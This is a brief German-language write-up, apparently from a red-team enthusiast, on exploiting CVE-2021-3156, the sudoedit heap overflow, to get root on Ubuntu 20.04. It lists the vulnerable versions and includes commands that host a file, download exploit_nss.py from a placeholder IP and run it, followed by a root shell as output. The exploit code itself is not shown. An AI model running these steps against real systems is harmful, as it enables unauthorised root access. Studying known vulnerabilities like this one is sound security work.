
Python-Proof-of-Concept-Exploit für CVE-2021-3156 (Baron Samedit), einen sudoedit-Heap-Overflow, der lokale Rechteausweitung zu root auf anfälligen sudo-Builds ermöglicht.
📅 Datum: 2025-06-08
✍️ Autor: @TopskiyPavelQwertyGang
🧠 Security Researcher | Red Team Enthusiast
sudoedit (sudo)Ein Heap-Overflow in sudoedit ermöglicht es einem lokalen Benutzer, Root-Zugriff zu erlangen,
wenn der Befehl sudoedit mit vorbereiteten Parametern ausgeführt wird.
Die Ausnutzung ist aktiv für Versionen von sudo < 1.9.5p2, einschließlich gängiger Ubuntu/Debian/CentOS-Images.
Selbst bei aktiviertem ASLR bleibt die Schwachstelle ausnutzbar.
OS : Ubuntu 20.04.3 LTS
glibc : 2.31 (tcache ON)
sudo : 1.8.31 (anfällig)
ASLR : 2 (aktiviert)
glibc und sudo wurden überprüft:ldd --version
sudo --version
python3 -m http.server 80
wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py
$ python3 exploit_nss.py
# whoami
root
Die Ausnutzung von CVE-2021-3156 bleibt selbst bei aktivem ASLR möglich, wenn glibc ≥ 2.26 und sudo in einer anfälligen Version vorliegen.
Am stabilsten erwies sich der Exploit exploit_nss.py, der bei korrekter NSS-Konfiguration beim ersten Versuch funktioniert.
🧨 Das System ist unter Kontrolle.